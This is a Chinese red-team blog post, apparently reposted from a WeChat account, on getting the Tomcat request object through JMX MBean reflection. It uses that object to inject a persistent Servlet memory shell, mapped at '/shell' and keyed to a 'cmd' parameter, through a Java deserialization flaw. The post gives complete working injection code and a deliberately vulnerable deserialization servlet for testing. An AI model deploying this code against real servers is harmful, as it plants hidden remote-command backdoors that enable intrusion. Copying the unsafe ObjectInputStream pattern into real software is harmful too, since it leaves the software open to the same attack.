前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从Tomcat源码中寻找request路径进行注入

从Tomcat源码中寻找request路径进行注入

作者头像
亿人安全
发布2022-12-23 15:22:07
3270
发布2022-12-23 15:22:07
举报
文章被收录于专栏:红蓝对抗红蓝对抗

前面主要是通过寻找一个全局存储的request / response来进行Tomcat中间下的回显,但是在tomcat 7环境下并不能够获取到StandardContext对象,这里李三师傅在前文的基础中发现了在AbstractProtocol$ConnectionHandler#register的调用中不仅像之前的思路一样将获取到的RequestInfo对象存放在了global属性中。

同样通过调用Registry.getRegistry((Object)null, (Object)null).registerComponent方法将RequestInfo对象进行组件的注册流程中。

正文

获取回显

紧跟上面,我们跟进这个registerComponent方法的调用。

对于传入的这个bean对象,首先通过他的类型获取了一个ManagedBean对象,调用其createMBean方法创建了一个MBean对象,最后调用了registerMBean进行该MBean的注册,跟进一下。

调用了mbsInterceptor属性的registerMBean方法进行注册,这里的mbsInterceptor属性即是DefaultMBeanServerInterceptor对象,跟进一下。

在这个方法调用了该类的registerObject方法进行注册,

在这个方法中,调用了Introspector#makeDynamicMBean方法创建了一个动态的MBean,之后调用了registerDynamicMBean方法进行动态MBean的注册。

最后调用了registerWithRepository进行进一步的注册,

在这个方法中,调用了该类的repository属性的addMBean方法进行MBean的添加。

在这个方法的后面,首先会根据dom取出对应的信息,如果不存在,将会调用addNewDomMoi方法将这个Bean进行了添加

传入了一个map对象,其中包含有我们的requstInfo的信息,

我们之后通过idea的Evaluate来进行调试,

这里的Catelina也就是和tomcat相关的组件信息,值得注意的是,如果使用springboot内置的tomcat启动服务,这里不再是Catalina而应该是Tomcat这个key值。

这里的value值就是我们在上面最后一步put进入的一个map对象,

有很多,其中一个是包含有我们需要的request / response对象的,

可以关注到下面这个key值,

其中的name字段的格式就是protocol-nio-port,这里我的环境是tomcat 8, 如果是tomcat 7环境这里的nio应该为bio才对。

在其value字段中的NamedObject对象中,

能够找到我们需要的RequestInfo对象。

所以总结一下我们获取request的流程大致为,

首先是通过反射一步一个获取到domainTb这个Map对象中key值为Catalina的value值,

之后从我们前面得到的value对象中获取到我们需要的RequestInfo类,进而获取到Request / Response对象。

构造回显内存马

基于上面的思路,我们可以通过以下代码获取回显,

代码语言:javascript
复制
// 获取JmxMBeanServer对象
            MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();
            // 反射获取JmxMBeanServer对象的mbsInterceptor属性值,也即是DefaultMBeanServerInterceptor对象
            Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
            // 获取DefaultMBeanServerInterceptor中的repository属性
            Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
            // 反射获取Repository对象的domainTb这个Map对象
            HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
            // 获取该HashMap中有关于Catalina这个hashMap对象进而获取到了GlobalRequestProcessor
            // 使用Tomcat启动服务
            Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
            // 使用Springboot启动服务
//            Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor");
            // 从获取的NamedObject对象中反射获取他的object属性
            Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
            // object属性是一个BaseModelMBean对象,反射获取他的resource属性值
            Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
            // resource属性是一个RequestGroupInfo对象,反射获取他的processors属性值
            ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
            // 遍历前面得到的ArrayList列表,获取想要的请求
            for (Object processor : processors) {
                // 强转为RequestInfo类型
                RequestInfo requestInfo = (RequestInfo) processor;
                // 反射获取对应的req属性
                org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));

在获取了request对象之后,我们理应筛选一下本次请求的Request是哪一个进而保证能够执行后续操作

完整代码为

代码语言:javascript
复制
try {
            // 获取JmxMBeanServer对象
            MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();
            // 反射获取JmxMBeanServer对象的mbsInterceptor属性值,也即是DefaultMBeanServerInterceptor对象
            Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
            // 获取DefaultMBeanServerInterceptor中的repository属性
            Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
            // 反射获取Repository对象的domainTb这个Map对象
            HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
            // 获取该HashMap中有关于Catalina这个hashMap对象进而获取到了GlobalRequestProcessor
            // 使用Tomcat启动服务
            Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
            // 使用Springboot启动服务
//            Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor");
            // 从获取的NamedObject对象中反射获取他的object属性
            Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
            // object属性是一个BaseModelMBean对象,反射获取他的resource属性值
            Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
            // resource属性是一个RequestGroupInfo对象,反射获取他的processors属性值
            ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
            // 遍历前面得到的ArrayList列表,获取想要的请求
            for (Object processor : processors) {
                // 强转为RequestInfo类型
                RequestInfo requestInfo = (RequestInfo) processor;
                // 反射获取对应的req属性
                org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
                // 筛选请求
                if (req.getParameters().getParameter("cmd") != null) {
                    // 将req对象转为org.apache.catalina.connector.Request对象进行内存马的注入
                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
                    // 获取对应的ServletContext上下文环境
                    ServletContext servletContext = request.getServletContext();
                    // 注入Servlet内存马的步骤
                    String name = "RoboTerh";
                    if (servletContext.getServletRegistration(name) == null) {
                        StandardContext o = null;

                        // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                        while (o == null) {
                            Field f = servletContext.getClass().getDeclaredField("context");
                            f.setAccessible(true);
                            Object obj = f.get(servletContext);

                            if (obj instanceof ServletContext) {
                                servletContext = (ServletContext) obj;
                            } else if (obj instanceof StandardContext) {
                                o = (StandardContext) obj;
                            }
                        }

                        //自定义servlet
                        Servlet servlet = new TomcatMemshell3();

                        //用Wrapper封装servlet
                        Wrapper newWrapper = o.createWrapper();
                        newWrapper.setName(name);
                        newWrapper.setLoadOnStartup(1);
                        newWrapper.setServlet(servlet);

                        //向children中添加Wrapper
                        o.addChild(newWrapper);
                        //添加servlet的映射
                        o.addServletMappingDecoded("/shell", name);
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

测试

因为之前的spring-boot 2.5.0内置的tomcat版本是9.x,不能够通过该种方式进行内存马的注入。

所以我这里环境就选用Tomcat 8的容器进行搭建,

其中的存在反序列化漏洞的Servlet为。

代码语言:javascript
复制
package com.roboterh.web;

import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.ObjectInputStream;

@WebServlet("/unser")
public class ServletTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            java.io.InputStream inputStream = req.getInputStream();
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

启动服务之后发送序列化数据,

验证是否成功注入,

能够成功进行注入操作。

Ref

https://xz.aliyun.com/t/7535

https://www.freebuf.com/vuls/352821.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-12-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 正文
    • 获取回显
      • 构造回显内存马
        • 测试
        • Ref
        相关产品与服务
        文件存储
        文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档